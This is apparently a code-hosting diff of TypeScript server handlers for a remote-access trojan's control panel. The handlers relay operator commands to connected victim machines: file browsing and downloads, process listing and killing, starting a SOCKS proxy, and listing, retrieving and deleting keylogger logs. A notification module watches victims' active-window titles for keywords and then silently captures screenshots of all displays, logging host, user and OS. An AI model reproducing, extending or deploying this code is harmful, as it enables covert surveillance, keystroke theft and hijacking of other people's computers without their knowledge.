type === "file_download" &&
|
||||
typeof payload?.commandId === "string" &&
|
||||
deps.pendingHttpDownloads.has(payload.commandId);
|
||||
|
||||
if (type === "file_download" && typeof payload?.commandId === "string") {
|
||||
void deps.consumeHttpDownloadPayload(payload);
|
||||
}
|
||||
|
||||
let hasSession = false;
|
||||
for (const session of sessionManager.getAllFileBrowserSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
if (!hasSession) {
|
||||
hasSession = true;
|
||||
if (type && type !== "command_result" && type !== "command_progress") {
|
||||
logger.debug(`[filebrowser] client=${clientId} type=${type}`);
|
||||
}
|
||||
}
|
||||
if (isHttpDownload) {
|
||||
continue;
|
||||
}
|
||||
if (payload.type === "file_download" && payload.data) {
|
||||
const data = payload.data instanceof Uint8Array ? payload.data : new Uint8Array(payload.data);
|
||||
safeSendViewer(session.viewer, { ...payload, data });
|
||||
} else {
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function handleProcessViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: ProcessViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllProcessSessions().set(sessionId, session);
|
||||
ws.data.sessionId = sessionId;
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
}
|
||||
}
|
||||
|
||||
export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
const { clientId } = ws.data;
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
const commandId = uuidv4();
|
||||
switch (payload.type) {
|
||||
case "process_list":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "process_list", id: commandId } as any));
|
||||
metrics.recordCommand("process_list");
|
||||
break;
|
||||
case "process_kill": {
|
||||
const pid = Number(payload.pid);
|
||||
if (!Number.isFinite(pid) || pid <= 0) {
|
||||
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" });
|
||||
break;
|
||||
}
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "process_kill", id: commandId, payload: { pid } } as any));
|
||||
metrics.recordCommand("process_kill");
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleProcessMessage(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getAllProcessSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
|
||||
export function handleProxyViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.addProxySession(session);
|
||||
ws.data.sessionId = sessionId;
|
||||
logger.info(`[proxy] viewer connected session=${sessionId} client=${clientId}`);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
}
|
||||
}
|
||||
|
||||
export function handleProxyViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
const { clientId } = ws.data;
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
const commandId = uuidv4();
|
||||
switch (payload.type) {
|
||||
case "proxy_start": {
|
||||
const port = typeof payload.port === "number" ? payload.port : 1080;
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "proxy_start", id: commandId, payload: { port } } as any));
|
||||
metrics.recordCommand("proxy_start");
|
||||
break;
|
||||
}
|
||||
case "proxy_stop":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "proxy_stop", id: commandId } as any));
|
||||
metrics.recordCommand("proxy_stop");
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleProxyMessage(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getAllProxySessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
|
||||
export function handleKeyloggerViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.addKeyloggerSession(session);
|
||||
ws.data.sessionId = sessionId;
|
||||
logger.info(`[keylogger] viewer connected session=${sessionId} client=${clientId}`);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
}
|
||||
}
|
||||
|
||||
export function handleKeyloggerViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
const { clientId } = ws.data;
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
const commandId = uuidv4();
|
||||
switch (payload.type) {
|
||||
case "keylog_list":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_list", id: commandId } as any));
|
||||
metrics.recordCommand("keylog_list");
|
||||
break;
|
||||
case "keylog_retrieve": {
|
||||
const filename = typeof payload.filename === "string" ? payload.filename : "";
|
||||
if (!filename) {
|
||||
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid filename" });
|
||||
break;
|
||||
}
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_retrieve", id: commandId, payload: { filename } } as any));
|
||||
metrics.recordCommand("keylog_retrieve");
|
||||
break;
|
||||
}
|
||||
case "keylog_clear_all":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_clear_all", id: commandId } as any));
|
||||
metrics.recordCommand("keylog_clear_all");
|
||||
break;
|
||||
case "keylog_delete": {
|
||||
const filename = typeof payload.filename === "string" ? payload.filename : "";
|
||||
if (!filename) {
|
||||
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid filename" });
|
||||
break;
|
||||
}
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_delete", id: commandId, payload: { filename } } as any));
|
||||
metrics.recordCommand("keylog_delete");
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleKeyloggerMessage(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getAllKeyloggerSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,334 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { encode as msgpackEncode } from "@msgpack/msgpack";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import * as clientManager from "../clientManager";
|
||||
import { logger } from "../logger";
|
||||
import { metrics } from "../metrics";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
|
||||
type NotificationRecord = {
|
||||
id: string;
|
||||
clientId: string;
|
||||
host?: string;
|
||||
user?: string;
|
||||
os?: string;
|
||||
title: string;
|
||||
process?: string;
|
||||
processPath?: string;
|
||||
pid?: number;
|
||||
keyword?: string;
|
||||
category: "active_window";
|
||||
ts: number;
|
||||
screenshotId?: string;
|
||||
};
|
||||
|
||||
type NotificationRateState = {
|
||||
lastSent: number;
|
||||
windowStart: number;
|
||||
suppressed: number;
|
||||
lastWarned: number;
|
||||
};
|
||||
|
||||
type PendingNotificationScreenshot = {
|
||||
notificationId: string;
|
||||
clientId: string;
|
||||
ts: number;
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
|
||||
type NotificationConfigShape = {
|
||||
minIntervalMs?: number;
|
||||
spamWindowMs?: number;
|
||||
spamWarnThreshold?: number;
|
||||
historyLimit?: number;
|
||||
};
|
||||
|
||||
type CreateDeps = {
|
||||
notificationHistory: NotificationRecord[];
|
||||
notificationRate: Map<string, NotificationRateState>;
|
||||
pendingNotificationScreenshots: Map<string, PendingNotificationScreenshot>;
|
||||
pluginLoadedByClient: Map<string, Set<string>>;
|
||||
pluginLoadingByClient: Map<string, Set<string>>;
|
||||
pendingPluginEvents: Map<string, Array<{ event: string; payload: any }>>;
|
||||
pluginState: { enabled: Record<string, boolean>; lastError: Record<string, string> };
|
||||
getNotificationConfig: () => NotificationConfigShape;
|
||||
storeNotificationScreenshot: (
|
||||
pending: PendingNotificationScreenshot,
|
||||
bytes: Uint8Array,
|
||||
format: string,
|
||||
width?: number,
|
||||
height?: number,
|
||||
) => void;
|
||||
deliverNotificationWithScreenshot: (record: NotificationRecord) => Promise<void>;
|
||||
savePluginState: () => Promise<void>;
|
||||
};
|
||||
|
||||
function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
|
||||
try {
|
||||
ws.send(msgpackEncode(payload));
|
||||
} catch (err) {
|
||||
logger.error("[viewer] send failed", err);
|
||||
}
|
||||
}
|
||||
|
||||
export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
function requestNotificationScreenshot(info: any, record: NotificationRecord) {
|
||||
if (!info || !info.ws) return;
|
||||
const commandId = `notify-shot-${uuidv4()}`;
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingNotificationScreenshots.delete(commandId);
|
||||
}, 15_000);
|
||||
|
||||
deps.pendingNotificationScreenshots.set(commandId, {
|
||||
notificationId: record.id,
|
||||
clientId: record.clientId,
|
||||
ts: record.ts,
|
||||
timeout,
|
||||
});
|
||||
|
||||
try {
|
||||
info.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "screenshot",
|
||||
id: commandId,
|
||||
payload: { mode: "notification", allDisplays: true },
|
||||
} as any),
|
||||
);
|
||||
metrics.recordCommand("screenshot");
|
||||
} catch (err) {
|
||||
clearTimeout(timeout);
|
||||
deps.pendingNotificationScreenshots.delete(commandId);
|
||||
logger.warn("[notify] failed to request screenshot", err);
|
||||
}
|
||||
}
|
||||
|
||||
function shouldAcceptNotification(key: string, ts: number): boolean {
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
const minInterval = Math.max(1000, notificationConfig.minIntervalMs || 8000);
|
||||
const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000);
|
||||
const warnThreshold = Math.max(1, notificationConfig.spamWarnThreshold || 5);
|
||||
const state = deps.notificationRate.get(key) || {
|
||||
lastSent: 0,
|
||||
windowStart: ts,
|
||||
suppressed: 0,
|
||||
lastWarned: 0,
|
||||
};
|
||||
|
||||
if (ts - state.windowStart > spamWindow) {
|
||||
state.windowStart = ts;
|
||||
state.suppressed = 0;
|
||||
state.lastWarned = 0;
|
||||
}
|
||||
|
||||
if (ts - state.lastSent < minInterval) {
|
||||
state.suppressed += 1;
|
||||
if (
|
||||
state.suppressed >= warnThreshold &&
|
||||
ts - state.lastWarned > Math.floor(spamWindow / 2)
|
||||
) {
|
||||
logger.warn(`[notify] suppressed ${state.suppressed} notifications in ${spamWindow}ms for ${key}`);
|
||||
state.lastWarned = ts;
|
||||
}
|
||||
deps.notificationRate.set(key, state);
|
||||
return false;
|
||||
}
|
||||
|
||||
state.lastSent = ts;
|
||||
state.suppressed = 0;
|
||||
deps.notificationRate.set(key, state);
|
||||
return true;
|
||||
}
|
||||
|
||||
function flushPluginEvents(clientId: string, pluginId: string) {
|
||||
const key = `${clientId}:${pluginId}`;
|
||||
const list = deps.pendingPluginEvents.get(key);
|
||||
if (!list || list.length === 0) return;
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) return;
|
||||
for (const item of list) {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "plugin_event",
|
||||
pluginId,
|
||||
event: item.event,
|
||||
payload: item.payload,
|
||||
} as any),
|
||||
);
|
||||
}
|
||||
deps.pendingPluginEvents.delete(key);
|
||||
}
|
||||
|
||||
function markPluginLoaded(clientId: string, pluginId: string) {
|
||||
if (!clientId || !pluginId) return;
|
||||
let set = deps.pluginLoadedByClient.get(clientId);
|
||||
if (!set) {
|
||||
set = new Set();
|
||||
deps.pluginLoadedByClient.set(clientId, set);
|
||||
}
|
||||
set.add(pluginId);
|
||||
deps.pluginLoadingByClient.get(clientId)?.delete(pluginId);
|
||||
}
|
||||
|
||||
return {
|
||||
handleNotificationViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const sessionId = uuidv4();
|
||||
sessionManager.addNotificationSession({
|
||||
id: sessionId,
|
||||
viewer: ws,
|
||||
createdAt: Date.now(),
|
||||
});
|
||||
ws.data.sessionId = sessionId;
|
||||
logger.info(`[notify] viewer connected session=${sessionId}`);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, history: deps.notificationHistory });
|
||||
},
|
||||
|
||||
handleNotification(clientId: string, payload: any) {
|
||||
const ts = Number(payload.ts) || Date.now();
|
||||
const title = typeof payload.title === "string" ? payload.title : "";
|
||||
if (!title) return;
|
||||
const keyword = typeof payload.keyword === "string" ? payload.keyword : "";
|
||||
const rateKey = `${clientId}:${keyword || title}`;
|
||||
if (!shouldAcceptNotification(rateKey, ts)) {
|
||||
return;
|
||||
}
|
||||
const info = clientManager.getClient(clientId);
|
||||
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} title=${title}`);
|
||||
const record: NotificationRecord = {
|
||||
id: uuidv4(),
|
||||
clientId,
|
||||
host: info?.host,
|
||||
user: info?.user,
|
||||
os: info?.os,
|
||||
title,
|
||||
process: typeof payload.process === "string" ? payload.process : "",
|
||||
processPath: typeof payload.processPath === "string" ? payload.processPath : "",
|
||||
pid: Number(payload.pid) || undefined,
|
||||
keyword,
|
||||
category: "active_window",
|
||||
ts,
|
||||
};
|
||||
|
||||
deps.notificationHistory.unshift(record);
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
const limit = Math.max(50, notificationConfig.historyLimit || 200);
|
||||
if (deps.notificationHistory.length > limit) {
|
||||
deps.notificationHistory.splice(limit);
|
||||
}
|
||||
|
||||
requestNotificationScreenshot(info, record);
|
||||
|
||||
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
||||
safeSendViewer(session.viewer, { type: "notification", item: record });
|
||||
}
|
||||
|
||||
void deps.deliverNotificationWithScreenshot(record);
|
||||
},
|
||||
|
||||
handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) {
|
||||
if (!commandId) return;
|
||||
if (ok === true) return;
|
||||
const pending = deps.pendingNotificationScreenshots.get(commandId);
|
||||
if (!pending) return;
|
||||
clearTimeout(pending.timeout);
|
||||
deps.pendingNotificationScreenshots.delete(commandId);
|
||||
if (message) {
|
||||
logger.warn(`[notify] screenshot failed commandId=${commandId} message=${message}`);
|
||||
}
|
||||
},
|
||||
|
||||
handleNotificationScreenshotResult(clientId: string, payload: any) {
|
||||
const commandId = typeof payload.commandId === "string" ? payload.commandId : "";
|
||||
if (!commandId) return;
|
||||
const pending = deps.pendingNotificationScreenshots.get(commandId);
|
||||
if (!pending) return;
|
||||
clearTimeout(pending.timeout);
|
||||
deps.pendingNotificationScreenshots.delete(commandId);
|
||||
|
||||
if (payload.error) {
|
||||
logger.warn(`[notify] screenshot error commandId=${commandId}`, payload.error);
|
||||
return;
|
||||
}
|
||||
|
||||
let bytes: Uint8Array | null = null;
|
||||
if (payload.data instanceof Uint8Array) {
|
||||
bytes = payload.data;
|
||||
} else if (payload.data instanceof ArrayBuffer) {
|
||||
bytes = new Uint8Array(payload.data);
|
||||
} else if (ArrayBuffer.isView(payload.data)) {
|
||||
bytes = new Uint8Array(payload.data.buffer);
|
||||
}
|
||||
|
||||
if (!bytes || bytes.length === 0) {
|
||||
logger.warn(`[notify] screenshot missing data commandId=${commandId}`);
|
||||
return;
|
||||
}
|
||||
|
||||
const format = typeof payload.format === "string" ? payload.format : "jpeg";
|
||||
const width = Number(payload.width) || undefined;
|
||||
const height = Number(payload.height) || undefined;
|
||||
deps.storeNotificationScreenshot(pending, bytes, format, width, height);
|
||||
},
|
||||
|
||||
clearPendingNotificationScreenshots(clientId: string) {
|
||||
for (const [commandId, pending] of deps.pendingNotificationScreenshots.entries()) {
|
||||
if (pending.clientId !== clientId) continue;
|
||||
clearTimeout(pending.timeout);
|
||||
deps.pendingNotificationScreenshots.delete(commandId);
|
||||
}
|
||||
},
|
||||
|
||||
markPluginLoaded,
|
||||
|
||||
isPluginLoaded(clientId: string, pluginId: string): boolean {
|
||||
return deps.pluginLoadedByClient.get(clientId)?.has(pluginId) ?? false;
|
||||
},
|
||||
|
||||
isPluginLoading(clientId: string, pluginId: string): boolean {
|
||||
return deps.pluginLoadingByClient.get(clientId)?.has(pluginId) ?? false;
|
||||
},
|
||||
|
||||
markPluginLoading(clientId: string, pluginId: string) {
|
||||
if (!clientId || !pluginId) return;
|
||||
let set = deps.pluginLoadingByClient.get(clientId);
|
||||
if (!set) {
|
||||
set = new Set();
|
||||
deps.pluginLoadingByClient.set(clientId, set);
|
||||
}
|
||||
set.add(pluginId);
|
||||
},
|
||||
|
||||
enqueuePluginEvent(clientId: string, pluginId: string, event: string, payload: any) {
|
||||
const key = `${clientId}:${pluginId}`;
|
||||
const list = deps.pendingPluginEvents.get(key) || [];
|
||||
list.push({ event, payload });
|
||||
deps.pendingPluginEvents.set(key, list);
|
||||
},
|
||||
|
||||
handlePluginEvent(clientId: string, payload: any) {
|
||||
const pluginId = (payload as any).pluginId || "";
|
||||
const event = (payload as any).event || "";
|
||||
const error = (payload as any).error || "";
|
||||
logger.debug(`[plugin] client=${clientId} plugin=${pluginId} event=${event} error=${error}`);
|
||||
if (event === "loaded") {
|
||||
markPluginLoaded(clientId, pluginId);
|
||||
flushPluginEvents(clientId, pluginId);
|
||||
if (pluginId) {
|
||||
deps.pluginState.lastError[pluginId] = "";
|
||||
void deps.savePluginState();
|
||||
}
|
||||
}
|
||||
if (event === "unloaded") {
|
||||
deps.pluginLoadedByClient.get(clientId)?.delete(pluginId);
|
||||
}
|
||||
if (event === "error" || error) {
|
||||
if (pluginId) {
|
||||
deps.pluginState.lastError[pluginId] = error || String((payload as any).message || "plugin error");
|
||||
void deps.savePluginState();
|
||||
}
|
||||
}
|
||||
},
|
||||
};
|
||||
}
|
||||
Reference in New Issue
Block a user